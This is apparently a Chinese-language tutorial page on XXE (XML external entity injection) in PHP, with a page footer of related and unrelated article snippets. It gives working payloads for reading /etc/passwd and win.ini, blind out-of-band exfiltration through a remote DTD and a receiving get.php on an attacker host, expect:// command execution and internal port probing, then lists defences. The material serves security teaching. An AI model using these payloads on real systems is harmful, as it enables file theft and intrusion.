3. XML实体注入漏洞的利用与学习
XML实体注入漏洞的利用与学习
前言
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题.
在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题
漏洞利用
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
测试代码
使用simplexml_load_string函数解析body
- <?php
- $xml = $GET('xml');
- $data = simplexml_load_string($xml);
- print_r($data);
- ?>
漏洞测试
漏洞测试方式1
有回显,直接读取文件
Payload:
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
- <root>
- <name>&xxe;</name>
- </root>
windows:
- http://192.168.0.140/xxe1.php?xml=<?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]>
- <root>
- <name>&xxe;</name>
- </root>
linux:
- http://192.168.0.100/xml/example1.php?xml=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE UserInfo [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<root>&name;</root>
通常需要把xml后的内容url编码使用
漏洞测试方式2
无回显,引用远程服务器上的XML文件读取文件
将以下1.xml保存到WEB服务器下
1.xml
- <!ENTITY % a SYSTEM "file:///etc/passwd">
<!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c
payload:
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE root [
- <!ENTITY % remote SYSTEM "http://192.168.0.140/1.xml">
- %remote;]>
漏洞测试方式3
在主机上放一个接收文件的php (get.php):
- <?php
- file_put_contents('01.txt', $_GET['xxe_local']);
- ?>
1.xml内容:
- <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/windows/win.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.0.140/get.php?xxe_local=%payload;'>"> %int; %trick;
这个XML,他引用了外部实体 C:/windows/win.ini 作为payload的值,然后又将payload拼接到 http://192.168.0.140/get.php?xxe_local=%payload;,进行HTTP请求。
接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。
发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取 C:/windows/win.ini 并进行base64编码后传给get.php,最后保存到主机上
测试payload:
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE root [
- <!ENTITY % remote SYSTEM "http://192.168.0.140/1.xml">
- %remote;]>
01.txt会保存要读取文件的base64编码
XXE 危害
- 读取任意文件
- 执行系统命令
- 探查内网端口
- 攻击内网网站
读取任意文件
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
- <root>
- <name>&xxe;</name>
- </root>
执行系统命令
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "expect://id" >]>
- <root>
- <name>&xxe;</name>
- </root>
探测内网端口
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
- <root>
- <name>&xxe;</name>
- </root>
攻击内网网站
结合其他的漏洞比如:struts2
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
- <root>
- <name>&xxe;</name>
- </root>
防御XXE攻击
方案一、使用开发语言提供的禁用外部实体的方法
- PHP:
- libxml_disable_entity_loader(true);
- JAVA:
- DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
- dbf.setExpandEntityReferences(false);
- Python:
- from lxml import etree
- xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
Reference
3. XML实体注入漏洞的利用与学习的更多相关文章
- XML实体注入漏洞
XML实体注入漏洞 测试代码1: 新建xmlget.php,复制下面代码 <?php $xml=$_GET['xml']; $data = simplexml_load_string($xml) ...
- 2.XML实体注入漏洞攻与防
XML实体注入基础 当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件.执行系统命令.探测内网端口.攻击内网网站等危害. 简单了解XML以后,我们知道要在XML中使用特殊字符,需要使用实体字符 ...
- 企业安全01-Apache solr XML实体注入漏洞CVE-2017-12629
Apache solr XML 实体注入漏洞CVE-2017-12629 一.简介 Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apac ...
- 小试XML实体注入攻击
基础知识 XML(Extensible Markup Language)被设计用来传输和存储数据.关于它的语法,本文不准备写太多,只简单介绍一下. XML基本知识 1 2 3 4 5 <?xml ...
- Fortify漏洞之XML External Entity Injection(XML实体注入)
继续对Fortify的漏洞进行总结,本篇主要针对 XML External Entity Injection(XML实体注入) 的漏洞进行总结,如下: 1.1.产生原因: XML External ...
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...
- Xml外部实体注入漏洞
Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...
- XXE--XML外部实体注入漏洞
XXE漏洞原理 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部 ...
- XXE外部实体注入漏洞
XML被设计为传输和存储数据,XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具.XXE漏洞全称XML E ...
随机推荐
- [算法]Evaluate Reverse Polish Notation
Evaluate the value of an arithmetic expression in Reverse Polish Notation. Valid operators are +, -, ...
- UVA 101 vector
题目链接 白书上的例题,关于vector的使用.不定长数组vector,类型内部封装了一些常用操作.vector就像一个二维数组,只有第一维的大小是固定的,可以像数组一样访问到其中的每一个元素. ve ...
- POJ 2492 并查集 A Bug's Life
#include<iostream> #include<algorithm> #include<stdio.h> #include<string.h> ...
- sql 常用的查询套路
1. 写一个sql:,查询商城每天的用户数及每天累计用户数 date user_count total_count2016-12-01 1 12016- ...
- HTTP- 头部信息
HTTP 头部信息由众多的头域组成,每个头域由一个域名,冒号(:)和域值三部分组成.域名是大小写无关的,域值前可以添加任何数量的空格符,头域可以被扩展为多行,在自每行开始处,使用至少一个空格或制表符. ...
- C语言链表结构体(学习笔记)
#include <stdio.h> #define LENTEST 100 // 采取逐步删除的方法求的素数 //先假设1-100都是素数,然后剔除2的倍数, //3的倍数,直到剔除所有 ...
- cin.get(),cin.getline(),getline(),gets(),getchar()
1.cin.get() (1).cin.get()-------提取单个字符,可以提取回车.空格 a=cin.get(); (2) 同(1)---------------提取单个字符,可以提取回车.空 ...
- io.js的六大新特性
io.js是nodejs的友好版的分支("friendly fork”).它支持npm中所有的同样模块,且使用了v8最新版本的截取(v8是被node.js使用js解释器),且修复了很多的bu ...
- 201621123014《Java程序设计》第四周学习总结
1.本周学习总结 1.1 写出你认为本周学习中比较重要的知识点关键词 答:继承.多态.子类.父类.final.static.类型判断与类型转换.抽象类. 1.2 尝试使用思维导图将这些关键词组织起来. ...
- C - Alyona and SpreadsheetDP
题目链接 题意在一个矩阵中,询问l~r行是否有一列满足mp[i][j]>=mp[i-1][j](i属于l~r)即非递减序列,是输出Yes,否输出No 用vector<vector<i ...